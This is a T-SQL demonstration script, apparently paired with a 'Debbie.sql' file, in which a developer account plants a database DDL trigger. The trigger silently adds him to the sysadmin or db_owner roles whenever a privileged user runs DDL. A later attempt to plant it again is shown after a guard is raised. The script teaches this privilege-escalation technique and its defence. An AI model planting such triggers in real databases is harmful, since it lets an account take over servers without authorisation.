-- This file should be run logged in as DevDave. Start in
-- sysadmin, and come here when you are told to.
SELECT SYSTEM_USER
go
USE AppDB
go
-- Dave starts working by writing a simple procedure.
CREATE PROCEDURE InsertTableOne @id int, @data sysname AS
  INSERT TableOne VALUES(@id, @data)

-- Go to Debbie.sql.






-- DevDave has higher ambitions. He wants to take over the server. Or at
-- least the database, so he creates a DDL trigger.
CREATE TRIGGER DevDavesDdlTri ON DATABASE 
   FOR DDL_DATABASE_LEVEL_EVENTS AS
   IF is_srvrolemember('sysadmin') = 1
      ALTER SERVER ROLE sysadmin ADD MEMBER DevDave
   IF is_rolemember('db_owner') = 1
      ALTER ROLE db_owner ADD MEMBER DevDave
go

-- Go to Debbie.sql.

-- Coming back to DevDave after Debbie has raised the guard.
-- DevDave can still create tables and store procedures.
CREATE TABLE DavesTable (b   int)
go
CREATE PROCEDURE DavesSP AS
   PRINT 'This procedure was written by DevDave!'
go
-- But when trying to create the DDL Trigger...
CREATE OR ALTER TRIGGER DevDavesDdlTri ON DATABASE 
   FOR DDL_DATABASE_LEVEL_EVENTS AS
   IF is_srvrolemember('sysadmin') = 1
      ALTER SERVER ROLE sysadmin ADD MEMBER DevDave
   IF is_rolemember('db_owner') = 1
      ALTER ROLE db_owner ADD MEMBER DevDave
go

